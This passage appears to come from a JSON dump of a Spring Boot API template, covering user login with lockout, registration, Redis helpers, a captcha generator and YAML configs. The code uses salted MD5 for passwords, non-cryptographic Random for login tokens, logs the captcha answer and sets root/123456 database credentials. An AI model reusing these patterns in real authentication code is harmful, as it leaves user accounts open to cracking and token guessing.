getRandomToken(int length) {\n        Random random = new Random();\n        StringBuilder randomStr = new StringBuilder();\n\n        // 根据length生成相应长度的随机字符串\n        for (int i = 0; i < length; i++) {\n            String charOrNum = random.nextInt(2) % 2 == 0 ? \"char\" : \"num\";\n\n            //输出字母还是数字\n            if (\"char\".equalsIgnoreCase(charOrNum)) {\n                //输出是大写字母还是小写字母\n                int temp = random.nextInt(2) % 2 == 0 ? 65 : 97;\n                randomStr.append((char) (random.nextInt(26) + temp));\n            } else if (\"num\".equalsIgnoreCase(charOrNum)) {\n                randomStr.append(String.valueOf(random.nextInt(10)));\n            }\n        }\n\n        return randomStr.toString();\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/core/RedisService.java",
    "content": "package com.company.project.core;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport java.util.Date;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * @author : aitangbao\n */\n\n@Service\npublic class RedisService {\n    @Autowired\n    private StringRedisTemplate redisTemplate;\n\n    public boolean exists(String key) {\n        return this.redisTemplate.hasKey(key);\n    }\n\n    public String get(String key) {\n        String value = this.redisTemplate.opsForValue().get(key);\n        return value;\n    }\n\n\n    public void del(String key) {\n        if (this.exists(key)) {\n            this.redisTemplate.delete(key);\n        }\n\n    }\n\n    public void setAndExpire(String key, String value, int seconds) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, (long) seconds, TimeUnit.SECONDS);\n    }\n\n\n    public void setExpire(String key, Date endTime) {\n        long seconds = endTime.getTime() - (new Date()).getTime();\n        this.redisTemplate.expire(key, (long) ((int) (seconds / 1000L)), TimeUnit.SECONDS);\n    }\n\n\n    public Set keys(String pattern) {\n        return redisTemplate.keys(\"*\" + pattern);\n    }\n\n    public void delKeys(String pattern) {\n        Set<String> keys = redisTemplate.keys(pattern);\n        if (!CollectionUtils.isEmpty(keys)) {\n            this.redisTemplate.delete(keys);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.*;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\n@TableName(\"t_user\")\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/service/IUserService.java",
    "content": "package com.company.project.service;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.jun.plugin.common.Result;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n    Result checkPassword(User userParam);\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.company.project.core.RedisService;\nimport com.company.project.utils.MD5Utils;\nimport com.jun.plugin.common.Result;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n    @Autowired\n    private UserMapper userMapper;\n\n\n    @Autowired\n    private RedisService redis;\n    @Value(\"${redis.key.prefix.passwordError}\")\n    private String PASSWORD_ERROR_PREFIX;\n    @Value(\"${redis.key.expire.passwordError}\")\n    private int PASSWORD_ERROR_EXPIRE;\n\n    @Override\n    public Result checkPassword(User userParam) {\n\n        String username = userParam.getUsername();\n        String password = userParam.getPassword();\n        //redis key\n        String redisPasswordErrorKey = PASSWORD_ERROR_PREFIX + username;\n        //判断账户是否锁定\n        String errorCount = redis.get(redisPasswordErrorKey);\n        if (errorCount != null && Integer.parseInt(errorCount) == 5) {\n            return Result.fail(\"密码连续错误5次，请1小时后重试\");\n        }\n        //根据用户名获取用户信息\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", username);\n        User user = userMapper.selectOne(queryWrapper);\n        if (user == null) {\n            return Result.fail(\"账号未找到\");\n        }\n\n        if (!MD5Utils.Encrypt(password, true).equals(user.getPassword())) {\n            if (errorCount == null) {\n                errorCount = \"1\";\n            } else {\n                errorCount = String.valueOf(Integer.parseInt(errorCount) + 1);\n            }\n            redis.setAndExpire(redisPasswordErrorKey, errorCount, PASSWORD_ERROR_EXPIRE);\n            if (\"5\".equals(errorCount)) {\n                return Result.fail(\"密码连续错误5次，请1小时后重试\");\n            } else {\n                return Result.fail(\"密码错误，剩余次数\" + (5 - Integer.parseInt(errorCount)));\n            }\n        } else {\n            //登录成功删除错误登录次数\n            redis.del(redisPasswordErrorKey);\n            return Result.success(user);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/utils/ImageCodeUtil.java",
    "content": "package com.company.project.utils;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.util.Random;\n\n@Slf4j\npublic class ImageCodeUtil {\n\n\n    public static final String IMAGE_RANDOM_CODEKEY = \"RANDOMVALIDATECODEKEY\";//放到session中的key\n    private String randString = \"0123456789\";//随机产生只有数字的字符串 private String\n    //private String randString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生只有字母的字符串\n    //private String randString = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生数字与字母组合的字符串\n    private int width = 95;// 图片宽\n    private int height = 25;// 图片高\n    private int lineSize = 40;// 干扰线数量\n    private int stringNum = 4;// 随机产生字符数量\n\n\n    private Random random = new Random();\n\n    /**\n     * 获得字体\n     */\n    private Font getFont() {\n        return new Font(\"Fixedsys\", Font.CENTER_BASELINE, 18);\n    }\n\n    /**\n     * 获得颜色\n     */\n    private Color getRandColor(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + random.nextInt(bc - fc - 16);\n        int g = fc + random.nextInt(bc - fc - 14);\n        int b = fc + random.nextInt(bc - fc - 18);\n        return new Color(r, g, b);\n    }\n\n    /**\n     * 生成随机图片\n     */\n    public void getRandcode(HttpServletRequest request, HttpServletResponse response) {\n        HttpSession session = request.getSession();\n        // BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);\n        Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作\n        g.fillRect(0, 0, width, height);//图片大小\n        g.setFont(new Font(\"Times New Roman\", Font.ROMAN_BASELINE, 18));//字体大小\n        g.setColor(getRandColor(110, 133));//字体颜色\n        // 绘制干扰线\n        for (int i = 0; i <= lineSize; i++) {\n            drowLine(g);\n        }\n        // 绘制随机字符\n        String randomString = \"\";\n        for (int i = 1; i <= stringNum; i++) {\n            randomString = drowString(g, randomString, i);\n        }\n        log.info(randomString);\n        //将生成的随机字符串保存到session中\n        session.removeAttribute(IMAGE_RANDOM_CODEKEY);\n        session.setAttribute(IMAGE_RANDOM_CODEKEY, randomString);\n        g.dispose();\n        try {\n            // 将内存中的图片通过流动形式输出到客户端\n            ImageIO.write(image, \"JPEG\", response.getOutputStream());\n        } catch (Exception e) {\n            log.error(\"将内存中的图片通过流动形式输出到客户端失败>>>>   \", e);\n        }\n\n    }\n\n    /**\n     * 绘制字符串\n     */\n    private String drowString(Graphics g, String randomString, int i) {\n        g.setFont(getFont());\n        g.setColor(new Color(random.nextInt(101), random.nextInt(111), random\n                .nextInt(121)));\n        String rand = String.valueOf(getRandomString(random.nextInt(randString\n                .length())));\n        randomString += rand;\n        g.translate(random.nextInt(3), random.nextInt(3));\n        g.drawString(rand, 13 * i, 16);\n        return randomString;\n    }\n\n    /**\n     * 绘制干扰线\n     */\n    private void drowLine(Graphics g) {\n        int x = random.nextInt(width);\n        int y = random.nextInt(height);\n        int xl = random.nextInt(13);\n        int yl = random.nextInt(15);\n        g.drawLine(x, y, x + xl, y + yl);\n    }\n\n    /**\n     * 获取随机的字符\n     */\n    public String getRandomString(int num) {\n        return String.valueOf(randString.charAt(num));\n    }\n}"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.HttpSessionService;\nimport com.company.project.utils.MD5Utils;\nimport com.company.project.utils.ImageCodeUtil;\nimport com.jun.plugin.common.Result;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * <p>\n * 前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n    @Autowired\n    private HttpSessionService httpSession;\n\n    @Value(\"${redis.allowMultipleLogin}\")\n    private Boolean allowMultipleLogin;\n\n    @ApiOperation(\"登陆\")//请求方式：POST,实际使用时屏蔽GET请求\n    @RequestMapping(value = \"/login\", method = {RequestMethod.POST})\n    public Result login(@RequestBody @Valid User userParam) {\n\n        //校验密码，5次错误锁定账户\n        Result result = userService.checkPassword(userParam);\n        if (!result.getSuccess()) {\n            return result;\n        }\n        //成功之后返回user\n        User user = (User)result.get(Result.DATA_TAG);\n\n        //是否删除之前token， 此处控制是否支持多登陆端；\n        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆\n        if (!allowMultipleLogin) {\n            httpSession.abortUserByUserId(user.getId());\n        }\n\n        //生成token\n        String token = httpSession.createTokenAndUser(user);\n\n        Map<String, String> resultMap = new HashMap<>(2);\n        resultMap.put(\"token\", token);\n        resultMap.put(\"username\", userParam.getUsername());\n        return Result.success(resultMap);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return Result.fail(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(), true));\n        userService.save(user);\n        return Result.success();\n    }\n\n    @ApiOperation(\"修改密码\")\n    @PostMapping(\"/updatePassword\")\n    public Result updatePassword(@RequestBody JSONObject param) {\n        String oldPassword = param.getString(\"oldPassword\");\n        String newPassword = param.getString(\"newPassword\");\n        if (StringUtils.isBlank(oldPassword) || StringUtils.isBlank(newPassword)) {\n            return Result.fail(\"密码不能为空\");\n        }\n        //获取登陆信息\n        JSONObject sessionInfo = httpSession.getCurrentSession();\n        String userId = sessionInfo.getString(\"userId\");\n\n        User user = userService.getById(userId);\n        if (user == null) {\n            return Result.fail(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(oldPassword, true).equals(user.getPassword())) {\n            return Result.fail(\"旧密码错误\");\n        }\n        User updateUser = new User();\n        updateUser.setId(user.getId());\n        updateUser.setPassword(MD5Utils.Encrypt(newPassword, true));\n        userService.updateById(updateUser);\n\n        //重置密码后删除原所有token\n        httpSession.abortAllUserByToken();\n        return Result.success();\n    }\n\n    @ApiOperation(\"登出\")\n    @GetMapping(\"/logout\")\n    public Result logout() {\n        //退出删除token\n        httpSession.abortUserByToken();\n        return Result.success();\n    }\n\n    @ApiOperation(\"校验token是否有效\")\n    @GetMapping(\"/validateToken\")\n    public Result validateToken() {\n        //拦截器拦截已判断，直接返回成功\n        return Result.success();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id) {\n        userService.removeById(id);\n        return Result.success();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user) {\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return Result.success();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n            @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                 @RequestParam(defaultValue = \"10\") Integer pageCount) {\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return Result.success(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id) {\n        return Result.success(userService.getById(id));\n    }\n\n    @ApiOperation(value = \"生成验证码\")\n    @GetMapping(value = \"/getVerify\")\n    public void getVerify(HttpServletRequest request, HttpServletResponse response) {\n        response.setContentType(\"image/jpeg\");//设置相应类型,告诉浏览器输出的内容为图片\n        response.setHeader(\"Pragma\", \"No-cache\");//设置响应头信息，告诉浏览器不要缓存此内容\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expire\", 0);\n        try {\n            ImageCodeUtil randomValidateCode = new ImageCodeUtil();\n            randomValidateCode.getRandcode(request, response);//输出验证码图片方法\n        } catch (Exception e) {\n            log.error(\"生成验证码失败\");\n        }\n    }\n\n    @ApiOperation(value = \"校验验证码\")\n    @PostMapping(value = \"/checkVerify\")\n    public Result checkVerify(@RequestParam String imageCode, HttpSession session) {\n        //从session中获取随机数\n        Object random = session.getAttribute(ImageCodeUtil.IMAGE_RANDOM_CODEKEY);\n        if (random != null && String.valueOf(random).equals(imageCode)) {\n            return Result.success();\n        }\n        return Result.fail(\"校验失败\");\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/jun/plugin/common/Result.java",
    "content": "package com.jun.plugin.common;\n\nimport com.jun.plugin.common.exception.code.BaseResponseCode;\n\nimport java.util.HashMap;\n\n/**\n * 返回对象\n *\n * @author wujun\n */\npublic class Result extends HashMap<String, Object>\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 状态码 */\n    public static final String CODE_TAG = \"code\";\n\n    /** 返回内容 */\n    public static final String MSG_TAG = \"msg\";\n\n    /** 数据对象 */\n    public static final String DATA_TAG = \"data\";\n\n    private Boolean success = true;\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象，使其表示一个空消息。\n     */\n    public Result()\n    {\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     */\n    public Result(int code, String msg)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @param data 数据对象\n     */\n    public Result(int code, String msg, Object data)\n    {\n        super.put(CODE_TAG, code);\n        super.put(MSG_TAG, msg);\n        super.put(DATA_TAG, data);\n    }\n\n    public static Result getResult(int i, String s) {\n        return Result.error(i,s);\n    }\n\n    public static Result getResult(BaseResponseCode systemRedisBusy) {\n        return Result.error(systemRedisBusy.getCode(),systemRedisBusy.getMsg());\n    }\n\n    /**\n     * 方便链式调用\n     *\n     * @param key\n     * @param value\n     * @return\n     */\n    @Override\n    public Result put(String key, Object value)\n    {\n        super.put(key, value);\n        return this;\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @return 成功消息\n     */\n    public static Result success()\n    {\n        return Result.success(\"success\");\n    }\n    public static Result ok()\n    {\n        return Result.success(\"success\");\n    }\n\n    /**\n     * 返回成功数据\n     * \n     * @return 成功消息\n     */\n    public static Result ok(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n    public static Result success(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 成功消息\n     */\n    public static Result success(String msg, Object data)\n    {\n        return new Result(0, msg, data);\n    }\n    public static Result success(int code, String msg, Object data)\n    {\n        return new Result(code, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @return\n     */\n    public static Result fail()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n    public static Result error()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result fail(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n    public static Result error(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 警告消息\n     */\n    public static Result error(String msg, Object data)\n    {\n        return new Result(500, msg, data).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result error(int code, String msg)\n    {\n        return new Result(code, msg, null).setSuccess(false);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/jun/plugin/common/exception/BusinessException.java",
    "content": "package com.jun.plugin.common.exception;\n\n\nimport com.jun.plugin.common.exception.code.BaseResponseCode;\nimport com.jun.plugin.common.exception.code.ResponseCodeInterface;\n\n/**\n * BusinessException\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic class BusinessException extends RuntimeException {\n    /**\n     * 异常编号\n     */\n    private final int messageCode;\n\n    /**\n     * 对messageCode 异常信息进行补充说明\n     */\n    private final String detailMessage;\n\n    public BusinessException(int messageCode, String message) {\n        super(message);\n        this.messageCode = messageCode;\n        this.detailMessage = message;\n    }\n\n    public BusinessException(String message) {\n        super(message);\n        this.messageCode = BaseResponseCode.OPERATION_ERRO.getCode();\n        this.detailMessage = message;\n    }\n\n    /**\n     * 构造函数\n     *\n     * @param code 异常码\n     */\n    public BusinessException(ResponseCodeInterface code) {\n        this(code.getCode(), code.getMsg());\n    }\n\n    public int getMessageCode() {\n        return messageCode;\n    }\n\n    public String getDetailMessage() {\n        return detailMessage;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/jun/plugin/common/exception/code/BaseResponseCode.java",
    "content": "package com.jun.plugin.common.exception.code;\n\n\n/**\n * 错误码\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic enum BaseResponseCode implements ResponseCodeInterface {\n    /**\n     * 错误码\n     */\n    SUCCESS(0, \"操作成功\"),\n    SYSTEM_BUSY(500001, \"系统繁忙，请稍候再试!\"),\n    OPERATION_ERRO(500002, \"操作失败\"),\n    SYSTEM_REDIS_BUSY(500003, \"REDIS服务器请求超时(超7S)，请稍候再试!\"),\n\n    TOKEN_ERROR(401001, \"登录凭证已过期，请重新登录\"),\n    DATA_ERROR(401003, \"传入数据异常\"),\n    NOT_ACCOUNT(401004, \"该用户不存在,请先注册\"),\n    USER_LOCK(401005, \"该用户已被锁定，请联系运营人员\"),\n    PASSWORD_ERROR(401006, \"用户名或密码错误\"),\n    METHODARGUMENTNOTVALIDEXCEPTION(401007, \"方法参数校验异常\"),\n    UNAUTHORIZED_ERROR(401008, \"权鉴校验不通过\"),\n    ROLE_PERMISSION_RELATION(401009, \"该菜单权限存在子集关联，不允许删除\"),\n    OLD_PASSWORD_ERROR(401010, \"旧密码不正确\"),\n    NOT_PERMISSION_DELETED_DEPT(401011, \"该组织机构下还关联着用户，不允许删除\"),\n    OPERATION_MENU_PERMISSION_CATALOG_ERROR(401012, \"操作后的菜单类型是目录，所属菜单必须为默认顶级菜单或者目录\"),\n    OPERATION_MENU_PERMISSION_MENU_ERROR(401013, \"操作后的菜单类型是菜单，所属菜单必须为目录类型\"),\n    OPERATION_MENU_PERMISSION_BTN_ERROR(401013, \"操作后的菜单类型是按钮，所属菜单必须为菜单类型\"),\n    OPERATION_MENU_PERMISSION_URL_NOT_NULL(401015, \"菜单权限的url不能为空\"),\n    OPERATION_MENU_PERMISSION_URL_PERMS_NULL(401016, \"菜单权限的标识符不能为空\"),\n    \n    ;\n\n    /**\n     * 错误码\n     */\n    private final int code;\n    /**\n     * 错误消息\n     */\n    private final String msg;\n\n    BaseResponseCode(int code, String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n\n    @Override\n    public int getCode() {\n        return code;\n    }\n\n    @Override\n    public String getMsg() {\n        return msg;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/jun/plugin/common/exception/code/ResponseCodeInterface.java",
    "content": "package com.jun.plugin.common.exception.code;\n\n/**\n * ResponseCodeInterface\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface ResponseCodeInterface {\n    /**\n     * 获取code\n     *\n     * @return code\n     */\n    int getCode();\n\n    /**\n     * 获取信息\n     *\n     * @return msg\n     */\n    String getMsg();\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password:\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/db_test?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\n\nredis:\n  key:\n    prefix:\n      userToken: \"user:token:\"\n      passwordError: \"user:password:error:\"\n    expire:\n      userToken: 604800 # 7天 7*24*3600\n      passwordError: 3600 # 一个小时\n  allowMultipleLogin: false # 允许多处登陆\n  host: localhost # Redis服务器地址\n  database: 0 # Redis数据库索引（默认为0）\n  port: 6379 # Redis服务器连接端口\n  password: # Redis服务器连接密码（默认为空）\n  jedis:\n    pool:\n      max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n      max-wait: -1ms # 连接池最大阻塞等待时间（使用负值表示没有限制）\n      max-idle: 8 # 连接池中的最大空闲连接\n      min-idle: 0 # 连接池中的最小空闲连接\n  timeout: 3000ms # 连接超时时间（毫秒\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\n\nknife4j:\n  production: true #生成环境禁用查看文档"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   